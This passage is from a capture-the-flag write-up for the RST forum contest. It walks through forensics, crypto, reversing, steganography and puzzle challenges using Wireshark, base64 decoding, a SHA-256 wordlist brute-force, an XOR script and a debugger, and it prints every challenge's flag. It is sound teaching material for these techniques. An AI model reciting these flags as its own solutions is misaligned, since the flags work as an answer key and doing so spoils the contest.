[<span class="hljs-string">admin@vps-d8fa07dd</span> <span class="hljs-string">~</span>]<span class="hljs-string">$</span> <span class="hljs-string">cat</span> <span class="hljs-string">flag.txt</span>
<span class="hljs-string">RST{becda3dcb371b918fd3ee6852bd68e047bd9c610b8cf7d968a7583c519afd874}</span>
[<span class="hljs-string">admin@vps-d8fa07dd</span> <span class="hljs-string">~</span>]<span class="hljs-string">$</span></code></pre> <p>Flag: <span style="color:#e74c3c"><strong>RST{becda3dcb371b918fd3ee6852bd68e047bd9c610b8cf7d968a7583c519afd874}</strong></span></p> <p> </p> <h3><a id="traficant" name="traficant">7. Traficant (50p)</a></h3> <ul><li><strong>Category:</strong> Forensics</li> <li><strong>Author:</strong> Nytro</li></ul> <blockquote><p>Se pare ca forum RST a fost spart si utilizatorii sunt infectati, trebuie sa gasim sursa!</p> <p>It looks like the RST forum has been hacked and users are now infected, we have to find the source!</p></blockquote> <p>The challenge provides a simple, plain-text, network traffic capture. The first thing I usually do when faced with such challenges is to open the network capture file with WireShark and look for interesting things in well-known protocols. In this case, the interesting part is the HTTP traffic. WireShark provides an useful option of extracting all HTTP Objects with a few clicks:</p> <pre><code class="language-markdown hljs">File -> Export Objects -> HTTP -> Save all</code></pre> <p>Going through all the files extracted (there is a lot of junk), I noticed a text file called <code>stg.txt</code> with the following content:</p> <pre><code class="language-markdown hljs">Da, un steag se poate gasi si in traficul de pe retea.
UlNUezE5ZjkyZWNmYmE0N2IwYTNmNzhhMjNkNzM1YTJhYzBjNzhlYWM3NDdmMGQ4NTM2NDMzOTVmYTFiMDM3YzZkZjR9</code></pre> <p>This was clearly a base64 encoded string, so decoding it revealed the flag:</p> <pre><code class="language-bash hljs">┌──(znq㉿new-york)-[~]
└─$ <span class="hljs-built_in">echo</span> <span class="hljs-string">"UlNUezE5ZjkyZWNmYmE0N2IwYTNmNzhhMjNkNzM1YTJhYzBjNzhlYWM3NDdmMGQ4NTM2NDMzOTVmYTFiMDM3YzZkZjR9"</span> | base64 -d
RST{19f92ecfba47b0a3f78a23d735a2ac0c78eac747f0d853643395fa1b037c6df4}</code></pre> <p>An alternative way of finding the flag directly from WireShark is to filter the HTTP traffic and inspect the requests for anything out of the ordinary. For instance, the request for <code>stg.txt</code> could also be seen like this and then using the <code>Right Click -> Follow -> HTTP Stream</code> options, you can get the contents of the file.</p> <p style="text-align:center"><img alt="" height="865" src="./writeup_files/traficant-1.jpg" width="1375"></p> <p>Flag: <span style="color:#e74c3c"><strong>RST{19f92ecfba47b0a3f78a23d735a2ac0c78eac747f0d853643395fa1b037c6df4}</strong></span></p> <p> </p> <h3><a id="rst" name="rst">8. RST (200p)</a></h3> <ul><li><strong>Category:</strong> Networking</li> <li><strong>Author:</strong> Nytro</li></ul> <blockquote><p>Se pare ca forum RST a fost spart si utilizatorii sunt infectati, trebuie sa gasim sursa!</p> <p>It seems that the RST forum has been borken into and users are now infected, we have to find the source!</p></blockquote> <p>I spent some time on this challenge as well. After some itme of investigating every corner of the forum, I looked at the description again and noticed that there are some hints here as well. First, "we have to find the source" might lead to the source code, while the "users are infected" part suggested something in the front-end code, something which users would be affected by.</p> <p>With this in mind, I checked the source code of the main forum page and every JavaScript file included there. However, only later I thought of using Hard Refresh (Ctrl + Shift + R) option of the browser, as the content was cached and I couldn't see what what right in front of me.</p> <p>The flag was actually at the bottom of the following script:</p> <pre><code class="language-http hljs"><span class="hljs-attribute">https://rstforums.com/forum/uploads/javascript_global/root_library.js?v=61423563571616972063</span></code></pre> <pre><code class="language-javascript hljs"><span class="hljs-comment">// Hacked! UlNUezYyNDAwN2JkMjEyZTgzNTZiZGQ0ZDVlMzRkYmYxNmViNTc5Y2ZlYzBhZDI2NDk0MjliNDBlNjcwNjMxNzY2MjF9</span></code></pre> <pre><code class="language-bash hljs">┌──(znq㉿new-york)-[~/win/CA-HTB/web_daas]
└─$ <span class="hljs-built_in">echo</span> <span class="hljs-string">"UlNUezYyNDAwN2JkMjEyZTgzNTZiZGQ0ZDVlMzRkYmYxNmViNTc5Y2ZlYzBhZDI2NDk0MjliNDBlNjcwNjMxNzY2MjF9"</span> | base64 -d
RST{624007bd212e8356bdd4d5e34dbf16eb579cfec0ad2649429b40e67063176621}</code></pre> <p>A fun fact here is that, while being stuck with the cached version of the scripts, I found something interesting that the authors were not aware of, deep inside one of the scripts:</p> <pre><code class="language-javascript hljs"><span class="hljs-keyword">if</span> (<span class="hljs-built_in">window</span>.atob && <span class="hljs-built_in">window</span>.console) {
<span class="hljs-built_in">console</span>.log(<span class="hljs-built_in">window</span>.atob(<span class="hljs-string">"ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgd293ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICBzdWNoIGZvcnVtICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgaG93IGFqYXggICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICB2ZXJ5IGNvbW11bml0eSAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBtdWNoIG1lbWJlcgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg=="</span>));
}</code></pre> <p>Which, decoded from base64, results in:</p> <pre><code class="language-nginx hljs">
<span class="hljs-attribute">wow</span>
such forum
how ajax
very community
much member
</code></pre> <p>Unfortunately, I got no extra points for the effort :)</p> <p>Flag: <span style="color:#e74c3c"><strong>RST{624007bd212e8356bdd4d5e34dbf16eb579cfec0ad2649429b40e67063176621}</strong></span></p> <p> </p> <h3><a id="biletul-criptat" name="biletul-criptat">9. Biletul Criptat (50p)</a></h3> <ul><li><strong>Category:</strong> Crypto</li> <li><strong>Author:</strong> YKelyan</li></ul> <blockquote><p>Totul a inceput cand eram mic, atunci cand tatal meu mi-a oferit un bilet cu un text criptat. Acesta mi-a spus sa il pastrez in siguranta si sa-l decriptez atunci cand o sa implinesc 13 ani. Timpul a trecut iar eu am uitat de bilet. Acum, la varsta de 32 de ani, dupa ce tata a murit din cauza unei paralizii cerebrale m-am decis sa ma mut in casa parinteasca. Carand diferite obiecte din podul casei am gasit biletul de mult uitat intr-un sertar dintr-un birou pe care obisnuiam sa-mi fac temele cand eram elev. Ti-am lasat mai jos textul, crezi ca poti sa ma ajuti?</p> <p>++++++++++[>+>+++>+++++++>++++++++++<<<<-]>++++++++++.>>----.++++++++.-------.>---------------.--------.+++++.<----------------..>-----------.+++.<.>++++++++++++++.<++++++++++++++++.>---------.---.++++++++++++.<++++++++++.>++.--.<------.++++++.<++++++++++++++++++++++.>-----------.>-------.<+++++.+++.<.>---.>----.<<++.>>-.+++.--.+++++++++++++.-.<+.+++.++.<---.>>.<++.---------.>--------.++++++.<<+.--.>--.>--.<+++.>----.<<++.>>+++++++.<.+++++++.----------.>--------.--.<--.>+++++++++++.<++++++.-----.<++.>+.>-.<++++++++++.>--.<<.>+++.>-.<<+++++++...</p> <p>It has all began when I was a little boy, when my father gave me a note with a cipher text. He told me to keep it safe and decrypt it when I will be 13 years old. The time has passed and I forgot about the note. Now, at the age of 32, after my dad has died because of a cerebral palsy, I decided to move back to my parents house. Moving different objects from the attic of the house, I found the forgotten note in a drawer in a desk where I used to do my homework as a student. I left the text of the note betlow, do you think you can help me decipher it?</p></blockquote> <p>The message above seems to be brainfuck, an esoteric programming language. I have previously came across such challenges, so I recognized it pretty fast. I used an online brainfuck interpreter (found <a href="https://sange.fi/esoteric/brainfuck/impl/interp/i.html" target="_blank">here</a>). It resulted in the following output:</p> <pre><code class="language-nginx hljs">BJCUMR33GJ3XCOLXMZXGM4BQGJ4GM6LOMZYHKM3YOFQW42DUGQ4XGNDPNBYHC6DXNV6QU===</code></pre> <p>First thing I thought of was to decode this using base64, but it was just gibberish. Next, I tried base32, and there it was, the flag, but encoded with rot13. Final flag was obtained after decoding both encodings using <a href="https://gchq.github.io/CyberChef/#recipe=From_Base32('A-Z2-7%3D',true)ROT13(true,true,false,13)&input=QkpDVU1SMzNHSjNYQ09MWE1aWEdNNEJRR0o0R002TE9NWllIS00zWU9GUVc0MkRVR1E0WEdORFBOQllIQzZEWE5WNlFVPT09" target="_blank">CyberChef</a>.</p> <p>Flag: <span style="color:#e74c3c"><strong>RST{2jd9jsasc02kslasch3kdnaug49f4bucdkjz}</strong></span></p> <p> </p> <h3><a id="strabunicul-lui-cezar" name="strabunicul-lui-cezar">10. Strabunicul lui Cezar (50p)</a></h3> <ul><li><strong>Category:</strong> Crypto</li> <li><strong>Author:</strong> Dragos</li></ul> <blockquote><p>Uvorxrgzir, uozt-fo vhgv "zgyzhs", wzi xirkgzg. Evar rmhgifxgrfmrov wrm Hgvtzml RR kvmgif nzr nfogv wvgzorr.</p></blockquote> <p>I have no information on the strange string above, so I ran it by a cipher identifier (found <a href="https://www.boxentriq.com/code-breaking/cipher-identifier" target="_blank">here</a>). The conclusion was that the cipher could be Atbash.</p> <p>Next, I ran it through an Atbash decoder (found <a href="https://www.dcode.fr/atbash-cipher" target="_blank">here</a>) and got the following message:</p> <p><code>Felicitari, flag-ul este "atbash", dar criptat. Vezi instructiunile din Stegano II pentru mai multe detalii.</code></p> <p>Translated to:</p> <p><code>Congratulations, the flag is "atbash", but encrypted. See instructions from Stegano II for more details.</code></p> <p>The final flag was SHA256(atbash).</p> <p>Flag: <span style="color:#e74c3c"><strong>RST{241f143d128e232349e2bf212ec0b123faff7b85944bbe1e55722b35c9207c13}</strong></span></p> <p> </p> <h3><a id="asteroidul" name="asteroidul">11. Asteroidul (88p)</a></h3> <ul><li><strong>Category:</strong> Crypto</li> <li><strong>Author:</strong> Dragos</li></ul> <blockquote><p>FtattfuntI eage0olieI lruC4rdtg iilr5meia cfeYiafnn ilspntiSo.</p></blockquote> <p>The strange text above can be understood if every "word" is put on a separate line and it is read by columns instead of lines.</p> <pre><code class="language-nginx hljs"><span class="hljs-attribute">F</span> t a t t f u n t I
e a g e <span class="hljs-number">0</span> o l i e I
l r u C <span class="hljs-number">4</span> r d t g
i i l r <span class="hljs-number">5</span> m e i a
c f e Y i a f n n
i l s p n t i S o.</code></pre> <p>The message is: <code>Felicitari flagul este CrYpt045 in formatul definit in Stegano II</code>. It translates to: <code>Congratulations the flag is CrYpt045 in the format defined in Stegano II.</code> So the final flag will be SHA256(CrYpt045).</p> <p>Flag: <span style="color:#e74c3c"><strong>RST{ecb8d3023523638c5da28ed7961e9529b2ce8a48d72cd4ced3aa9ddaed814cd9}</strong></span></p> <p> </p> <h3><a id="steagul-corupt" name="steagul-corupt">12. Steagul corupt (151p)</a></h3> <ul><li><strong>Category:</strong> Crypto</li> <li><strong>Author:</strong> Dragos</li></ul> <blockquote><p>Steagul pentru challenge a fost stocat intr-o baza de date care s-a corupt. Ultimele detalii pe care le stim sunt ca flag-ul e un SHA-256 al unui cuvant din limba romana care a fost scris fara diacritice, postfixat de un număr de trei cifre.</p> <p>Poti gasi care este flag-ul?</p> <p><em>R_T{_96395e1_556c4___05e996f___dc9b7eabeb9330____c8fa6____6449___aa4}</em></p> <p>The flag for this challenge has been stored in a database which became corrupt. The last things we know are that the flag is a SHA-256 of a romanian word, written without diacritics, postfixed with a 3-digit number.</p> <p>Can you find the flag?</p></blockquote> <p>The challenge implies a brute force to find the correct hash. First things first, I need a romanian wordlist without diacritics to use in my script. For this purpose, I found this one: <a href="https://github.com/spell-checker/dictionary-ro/blob/master/ro.dia" target="_blank">https://github.com/spell-checker/dictionary-ro/blob/master/ro.dia</a>. Second, for each of these words, I need to bruteforce every possible number between 100 and 999. I came up with the following python script:</p> <pre><code class="language-python hljs"><span class="hljs-keyword">import</span> hashlib
words = open(<span class="hljs-string">'ro.dia'</span>, <span class="hljs-string">'r'</span>).read().split(<span class="hljs-string">'\n'</span>)
words.reverse()
<span class="hljs-comment">#R_T{_96395e1_556c4___05e996f___dc9b7eabeb9330____c8fa6____6449___aa4}</span>
parts = [<span class="hljs-string">'96395e1'</span>, <span class="hljs-string">'556c4'</span>, <span class="hljs-string">'05e996f'</span>, <span class="hljs-string">'dc9b7eabeb9330'</span>, <span class="hljs-string">'c8fa6'</span>, <span class="hljs-string">'6449'</span>, <span class="hljs-string">'aa4'</span>]
print(<span class="hljs-string">"Searching..."</span>)
<span class="hljs-keyword">for</span> word <span class="hljs-keyword">in</span> words:
<span class="hljs-keyword">for</span> nr <span class="hljs-keyword">in</span> range(<span class="hljs-number">100</span>, <span class="hljs-number">1000</span>):
w = word + str(nr)
sha256 = hashlib.sha256()
sha256.update(w.encode())
hash = sha256.hexdigest()
print(hash + <span class="hljs-string">' -> '</span> + w + <span class="hljs-string">' \r'</span>, end = <span class="hljs-string">''</span>)
<span class="hljs-keyword">if</span> parts[<span class="hljs-number">2</span>] <span class="hljs-keyword">in</span> hash <span class="hljs-keyword">and</span> parts[<span class="hljs-number">3</span>] <span class="hljs-keyword">in</span> hash:
print(hash + <span class="hljs-string">' -> '</span> + w + <span class="hljs-string">' (MATCH)'</span>)
print(<span class="hljs-string">""</span>)</code></pre> <p>It runs for a while, but in the end it returns a match for sugubat240, whose SHA256 has to be surrounded by the RST{} tags to become the flag:</p> <pre><code class="language-bash hljs">┌──(znq㉿new-york)-[~/win/RST/steagul-corupt]
└─$ python3 brute.py
Searching...
f96395e11556c417405e996ff05dc9b7eabeb9330c37cc8fa6df496449244aa4 -> sugubat240 (MATCH)
70ee0a76c29f4e2dabf148910ddab53d4941c7a120115ae197ee666dbb6a441a -> subscriptia-i694
</code></pre> <p>Notable here is that I used a reversed list of words, as I have run both versions of the script (in normal order and reversed) simultaneously to cover ground faster. The reversed version found a match quicker, as the words was closer to the end of the dictionary.</p> <p>Flag: <span style="color:#e74c3c"><strong>RST{f96395e11556c417405e996ff05dc9b7eabeb9330c37cc8fa6df496449244aa4}</strong></span></p> <p> </p> <h3><a id="crackpass" name="crackpass">13. Crackpass (88p)</a></h3> <ul><li><strong>Category:</strong> Reversing</li> <li><strong>Author:</strong> Nytro</li></ul> <blockquote><p>Un binar pe care doar flag-ul corect il poate duce la return 0.</p> <p>A binary program that only the correct flag can have it return 0.</p></blockquote> <p>This challenge presented a binary file. First thing I did was to open it with IDA Pro and decompile it. The following code is the main function:</p> <p style="text-align:center"><img alt="" height="262" src="./writeup_files/crackpass-1.jpg" width="900"></p> <p>Next, I looked over the rest of the code that seemed to be part of the program, identifying a function called <code>__static_initialization_and_destruction_0</code>:</p> <p style="text-align:center"><img alt="" height="261" src="./writeup_files/crackpass-2.jpg" width="900"></p> <p>Here, you can see a flag template reading <code>PLM{1111111111111111111111111111111111111111111111111111111111111111}</code>. Going back to the main function to better understand what the program does, I noticed there is a xor operation byte by byte on this fake flag and a set of bytes identified by <code>enc</code>. Following the reference to <code>enc</code>, I get the following bytes:</p> <p style="text-align:center"><img alt="" height="134" src="./writeup_files/crackpass-3.jpg" width="900"></p> <pre><code class="language-bash hljs">db 2, 1Fh, 19h, 0, 8, 2, 6, 2, 3, 2 dup(57h), 4, 54h, 0
db 9, 7, 9, 2, 6, 5, 1, 4, 9, 3, 54h, 2 dup(5), 2, 54h
db 1, 2 dup(52h), 5, 57h, 7, 57h, 9, 3, 1, 0, 57h, 53h
db 8, 2 dup(54h), 53h, 57h, 0, 3, 1, 5, 4, 2, 6, 54h, 53h
db 1, 4, 52h, 4, 2, 52h, 50h, 4, 53h, 54h, 8, 55h, 4 dup(0)</code></pre> <p>I extracted these bytes (and converted them to decimal) and created a small python script to xor them with the fake flag found above, in the hope that the original flag will show up:</p> <pre><code class="language-python hljs">fake_flag = list(<span class="hljs-string">"PLM{1111111111111111111111111111111111111111111111111111111111111111}"</span>)
xor_bytes = [<span class="hljs-number">2</span>, <span class="hljs-number">31</span>, <span class="hljs-number">25</span>, <span class="hljs-number">0</span>, <span class="hljs-number">8</span>, <span class="hljs-number">2</span>, <span class="hljs-number">6</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">87</span>, <span class="hljs-number">87</span>, <span class="hljs-number">4</span>, <span class="hljs-number">84</span>, <span class="hljs-number">0</span>, <span class="hljs-number">9</span>, <span class="hljs-number">7</span>, <span class="hljs-number">9</span>, <span class="hljs-number">2</span>, <span class="hljs-number">6</span>, <span class="hljs-number">5</span>, <span class="hljs-number">1</span>, <span class="hljs-number">4</span>, <span class="hljs-number">9</span>, <span class="hljs-number">3</span>, <span class="hljs-number">84</span>, <span class="hljs-number">5</span>, <span class="hljs-number">5</span>, <span class="hljs-number">2</span>, <span class="hljs-number">84</span>, <span class="hljs-number">1</span>, <span class="hljs-number">82</span>, <span class="hljs-number">82</span>, <span class="hljs-number">5</span>, <span class="hljs-number">87</span>, <span class="hljs-number">7</span>, <span class="hljs-number">87</span>, <span class="hljs-number">9</span>, <span class="hljs-number">3</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">87</span>, <span class="hljs-number">83</span>, <span class="hljs-number">8</span>, <span class="hljs-number">84</span>, <span class="hljs-number">84</span>, <span class="hljs-number">83</span>, <span class="hljs-number">87</span>, <span class="hljs-number">0</span>, <span class="hljs-number">3</span>, <span class="hljs-number">1</span>, <span class="hljs-number">5</span>, <span class="hljs-number">4</span>, <span class="hljs-number">2</span>, <span class="hljs-number">6</span>, <span class="hljs-number">84</span>, <span class="hljs-number">83</span>, <span class="hljs-number">1</span>, <span class="hljs-number">4</span>, <span class="hljs-number">82</span>, <span class="hljs-number">4</span>, <span class="hljs-number">2</span>, <span class="hljs-number">82</span>, <span class="hljs-number">80</span>, <span class="hljs-number">4</span>, <span class="hljs-number">83</span>, <span class="hljs-number">84</span>, <span class="hljs-number">8</span>, <span class="hljs-number">85</span>, <span class="hljs-number">0</span>]
result = list(chr(ord(a) ^ b) <span class="hljs-keyword">for</span> a, b <span class="hljs-keyword">in</span> zip(fake_flag, xor_bytes))
result = <span class="hljs-string">''</span>.join(result)
print(result)</code></pre> <p>And fortunately, it did:</p> <pre><code class="language-bash hljs">┌──(znq㉿new-york)-[~/win/RST/crackpass]
└─$ python3 xor.py
RST{93732ff5e18683740582e443e0cc4f6f8201fb9eebf1204537eb05c53ca5be9d}</code></pre> <p>Flag: <span style="color:#e74c3c"><strong>RST{93732ff5e18683740582e443e0cc4f6f8201fb9eebf1204537eb05c53ca5be9d}</strong></span></p> <p> </p> <h3><a id="noflag" name="noflag">14. NoFlag (158p)</a></h3> <ul><li><strong>Category:</strong> Reversing</li> <li><strong>Author:</strong> Nytro</li></ul> <blockquote><p>Un flag care este si care nu este in acelasi timp intr-un binar.</p> <p>A flag that is both present and not present at the same time in the binary program.</p></blockquote> <p>The second reversing challenge involved a windows executable (exe). I opened it again with IDA Pro and looked around for anything interesting. I noticed a strange string that looked vaguely like a flag inside function <code>sub_1400011c0</code>:</p> <p style="text-align:center"><img alt="" height="185" src="./writeup_files/noflag-1.jpg" width="790"></p> <p>Looking further down this function, I noticed some complicated operations executed in a loop, which could suggest flag alteration / decryption. Following those, I set a breakpoint on the next instruction (<code>v8 = sub140001560(std::cout)</code>), in order to see what happened inside the loop. I did so using x64dbg, the Windows alternative of GDB, so I could run the program.</p> <p>However, before doing so, I had to find that line in assembly. The address in IDA was <code>0x1400012D7</code>, but in x64dbg was not, as addresses started from <code>0x7FF6211A1000</code>. I did some calculations and got the offset of <code>0x2D7</code> (in IDA addresses started from <code>0x140001000</code>, so <code>0x1400012D7 - 0x140001000 = 2D7</code>). Using the same logic in x64dbg, I reached the desired address and noticed something familiar in the name of the function called (<code>password.7FF6211A1560</code> has the same offset as <code>sub140001560</code>).</p> <p>Finally, adding the breakpoint at address <code>0x7FF6211A12D7</code>:</p> <p style="text-align:center"><img alt="" height="241" src="./writeup_files/noflag-2.jpg" width="900"></p> <p>And running the program until the breakpoint is reached:</p> <p style="text-align:center"><img alt="" height="231" src="./writeup_files/noflag-3.jpg" width="900"></p> <p>I could see the flag in plain text just lying around.</p> <p>Flag: <span style="color:#e74c3c"><strong>RST{76ea621cafffa1930bd5c7276f803da5af9cd9a57bdffaf00f3858cb9703149c}</strong></span></p> <p> </p> <h3><a id="hecsagon" name="hecsagon">15. Hecsagon (50p)</a></h3> <ul><li><strong>Category:</strong> Stegano</li> <li><strong>Author:</strong> YKelyan</li></ul> <blockquote><p>Crezi ca poti gasi forma geometrica?</p> <p>Do you think you can find the geometric shape?</p></blockquote> <p>This challenge was pretty straight-forward. Running the <code>strings</code> command on the image reveals the flag.</p> <pre><code class="language-bash hljs">┌──(znq㉿new-york)-[~/win/RST/hecsagon]
└─$ strings vacanta_la_oache.jpg -n 12
;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
%&<span class="hljs-string">'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'</span>()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
|?scpamGWv[x
RST{1jd90dsnuaicnavdx0vidj91szmxsnvbedas}</code></pre> <p>Flag: <span style="color:#e74c3c"><strong>RST{1jd90dsnuaicnavdx0vidj91szmxsnvbedas}</strong></span></p> <p> </p> <h3><a id="sigla" name="sigla">16. Sigla (50p)</a></h3> <ul><li><strong>Category:</strong> Stegano</li> <li><strong>Author:</strong> Dragos</li></ul> <blockquote><p>Intr-o lume plina de masonerie, teorii ale conspiratiei si Bill Gates, totul are o insemnatate ascunsa, pana si logo-ul RST atasat.</p> <p>Poti sa gasesti mesajul din spatele logo-ului?</p> <p>In a world full of masonery, conspiracy theories and Bill Gates, everything has a hidden significance, even the RST logo attached.</p> <p>Can you find the message behind the logo?</p></blockquote> <p>This challenge was identifcal to the one above, as can be seen below:</p> <pre><code class="language-bash hljs">┌──(znq㉿new-york)-[~/win/RST/sigla]
└─$ strings rst_logo.png -n 12
OiCCPPhotoshop ICC profile
YYYJJJRzz:a[4p
Ghh(\]]9@DVv
2<<span class="hljs-string">""</span><span class="hljs-string">""</span><span class="hljs-string">""</span>RYFF
fHHH`xDDDDDD
X<<span class="hljs-string">'"""""""$$$
l;HOOGxx8<<<
vqnY"%(S@wpp`PD
_~yH^+??_W_}5
+%%EIIIJJJRrr
re%$$(>>^111
RST{a2e6d2358601328bfc06c9c9a42a4f644ed6303fd1b2d696eb4d438c5c1a7144}</span></code></pre> <p>Flag: <span style="color:#e74c3c"><strong>RST{a2e6d2358601328bfc06c9c9a42a4f644ed6303fd1b2d696eb4d438c5c1a7144}</strong></span></p> <p> </p> <h3><a id="valuri" name="valuri">17. Valuri (50p)</a></h3> <ul><li><strong>Category:</strong> Stegano</li> <li><strong>Author:</strong> YKelyan</li></ul> <blockquote><p>In timp ce vorbeam cu prietenul meu la telefon am auzit niste sunete ciudate. Cred ca cineva imi intercepteaza convorbirile. Am reusit sa inregistrez sunetele insa nu inteleg nimic, parca sunt niste valuri.... Crezi ca poti sa ma ajuti?</p> <p>Format flag: RST{flag(md5)}</p> <p>While I was talking to my friend on the phone, I heard some strange noises. I think someone might be intercepting my conversations. I managed to record these sounds, but I cannot make any sense from them, it's like there are some waves... Do you think you can help me?</p> <p>Flag format: RST{flag(md5)}</p></blockquote> <p>I was given an audio file, which I promptly opened in Audacity. Applying the spectrogram on this file reveals the following hidden message:</p> <p style="text-align:center"><img alt="" height="532" src="./writeup_files/valuri-1.jpg" width="900"></p> <p>Following the instructions of the challenge, I got the MD5 hash of this message and added the RST{} tags around it - and there it was the flag.</p> <pre><code class="language-bash hljs">┌──(znq㉿new-york)-[~/win/RST/sigla]
└─$ <span class="hljs-built_in">echo</span> -n <span class="hljs-string">"F52LYG4Z"</span> | md5sum
ec627195bc62796ae3471b7a1c28d059 -</code></pre> <p>Flag: <span style="color:#e74c3c"><strong>RST{ec627195bc62796ae3471b7a1c28d059}</strong></span></p> <p> </p> <h3><a id="stegano-ii" name="stegano-ii">18. Stegano II (104p)</a></h3> <ul><li><strong>Category:</strong> Stegano</li> <li><strong>Author:</strong> Dragos</li></ul> <blockquote><p>Nytro tocmai si-a luat casa cu piscina si a facut poza atasata. E doar o poza normala sau ascunde vreun mesaj?</p> <p><strong>Notă:</strong> Flag-ul e format din cuvantul din imagine, hash-uit în SHA-256, prefixat cu "RST{" si postfixat cu "}". Spre exemplu, pentru cuvantul "piscina", flag-ul este RST{73b637a645b28be74ff051fa4f1d2cc0a2cab31271537ae943250bfd68f40f7c}.</p> <p>Nytro has just bought a house with a pool and took the picture attached. Is it just a normal picture, or does it hide a message?</p> <p><strong>Note:</strong> The flag is the word from the image, hashed with SHA-256, prefixed with RST{ and postfixed with }. For example, for the word "piscina" the actual flag is RST{73b637a645b28be74ff051fa4f1d2cc0a2cab31271537ae943250bfd68f40f7c}.</p></blockquote> <p>For this challenge, I used the basic tools for image steganography, looking for any hidden messages. The one that helped me see a fade message was stegsolve.jar, however, the string is not clear at all and changing rapidly through planes helpes me guess the word:</p> <p style="text-align:center"><img alt="" src="./writeup_files/stegano-ii-1.jpg"></p> <p>The word seen there is <code>apapapa</code>, so using SHA256(apapapa) resulted in the flag.</p> <p>Flag: <span style="color:#e74c3c"><strong>RST{aea56887a4f67f2b7937a7965fa679bfae9358695ebbd7f28470c9ba436fd93c}</strong></span></p> <p> </p> <h3><a id="animalul" name="animalul">19. Animalul (120p)</a></h3> <ul><li><strong>Category:</strong> Misc</li> <li><strong>Author:</strong> Dragos</li></ul> <blockquote><p>Stire de ultima ora: dupa ultimele aparitii ale ursilor in Poiana Brasov, un nou animal a fost vazut de locanici, un animal pe jumatate zebra, pe jumatate cal. Atasat ai o schita a animalului. Poti sa descoperi ce animal este defapt?</p> <p>Breaking news: after the last sightings of bears in Poiana Brasov, a new animal has been seen by locals, an animal half zebra, half horse. Attached, there is a sketch of the animal. Can you discover which animal is it actually?</p></blockquote> <p>I was given an image that resembled a barcode, but it was not complete and not readable by any scanner application. The initial image looked like this:</p> <p style="text-align:center"><img alt="" src="./writeup_files/animalul-1.jpg"></p> <p>I used Paint from Windows to extend the black lines and obtain a readble barcode, which can be seen below:</p> <p style="text-align:center"><img alt="" src="./writeup_files/animalul-2.jpg"></p> <p>The barcode reads "oaie" (translation - sheep), which being hashed with SHA256 and tagged with RST{} around, gives the final flag.</p> <p>Flag: <span style="color:#e74c3c"><strong>RST{c25ef393f5496a6078b739232d038032eddf0d8aeeef2a5d0b73c2f781a13e57}</strong></span></p> <p> </p> <h3><a id="poza" name="poza">20. Poza (200p)</a></h3> <ul><li><strong>Category:</strong> Misc</li> <li><strong>Author:</strong> Dragos</li></ul> <blockquote><p>Am gasit poza atasata de la un utilizator de pe forum. Ce poate sa insemne?</p> <p>I found the attached image on one of the forum users. What could it mean?</p></blockquote> <p>This challenge has the forum logo attached and mentions a forum user. Combining this information with the fact that the SMS-uri challenge has hints for other challenges, I looked for the user <code>453-alex</code> (<a href="https://rstforums.com/forum/profile/453-alex/" target="_blank">https://rstforums.com/forum/profile/453-alex/</a>), as suggested there. He only had two topics in which he was active, so I looked through those.</p> <p>In the first topic (<a href="https://rstforums.com/forum/topic/961-cum-securizezi-un-rootprins-la-php/?tab=comments#comment-6974" target="_blank">https://rstforums.com/forum/topic/961-cum-securizezi-un-rootprins-la-php/?tab=comments#comment-6974</a>), there is a strange piece of PHP code resembling to a part of hash. However, its length was not right - only 30 characters.</p> <pre><code class="language-php hljs">defined( <span class="hljs-string">'_VALID_MOS'</span> ) <span class="hljs-keyword">or</span> <span class="hljs-keyword">die</span>( <span class="hljs-string">'5aa3b284dbb9a6c970f5d4f405d19c'</span> )</code></pre> <p>Next, I went over to the second topic (<a href="https://rstforums.com/forum/topic/862-cum-gasesc-vulnerabilitati/?tab=comments#comment-6415" target="_blank">https://rstforums.com/forum/topic/862-cum-gasesc-vulnerabilitati/?tab=comments#comment-6415</a>) and looked again for hashes. Luckily, one of the comments seemed broken, displaying the following piece of HTML code:</p> <pre><code class="language-html hljs xml"><span class="hljs-tag"><<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">'quotetop'</span>></span>QUOTE("86ac7f0d41884bf3119acede4ec84756bb")<span class="hljs-tag"></<span class="hljs-name">div</span>></span></code></pre> <p>This time, the length of the string was 34, which added to the 30 characters identified before resulted in a 64 characters long hash, which is the length for a SHA256. I added the RST{} tag around the hash and got the final flag.</p> <p>Flag: <span style="color:#e74c3c"><strong>RST{5aa3b284dbb9a6c970f5d4f405d19c86ac7f0d41884bf3119acede4ec84756bb}</strong></span></p></div></div></div></div></div></div><div class="simplebar-placeholder" style="width: 2133px; height: 25892px;"></div></div><div class="simplebar-track simplebar-horizontal" style="visibility: hidden;"><div class="simplebar-scrollbar" style="transform: translate3d(0px, 0px, 0px); visibility: hidden; width: 1734px;"></div></div><div class="simplebar-track simplebar-vertical" style="visibility: visible;"><div class="simplebar-scrollbar" style="height: 36px; transform: translate3d(0px, 941px, 0px); visibility: visible;"></div></div></div></div></div></div></div></div>
<!-- All Script -->
<script src="./writeup_files/ckeditor.js.download"></script>
<script src="./writeup_files/ckeditor.js(1).download"></script>
<script src="./writeup_files/app.js.download"></script>
<script src="./writeup_files/isotope.pkgd.min.js.download"></script>
<script src="./writeup_files/simplebar.js.download"></script>
<script src="./writeup_files/owl.carousel.min.js.download"></script>
<script src="./writeup_files/jquery.magnific-popup.min.js.download"></script>
<script src="./writeup_files/jquery.animatedheadline.min.js.download"></script>
<script src="./writeup_files/jquery.easypiechart.js.download"></script>
<script src="./writeup_files/jquery.validation.js.download"></script>
<script src="./writeup_files/tilt.js.download"></script>
<script src="./writeup_files/highlight.pack.js.download"></script>
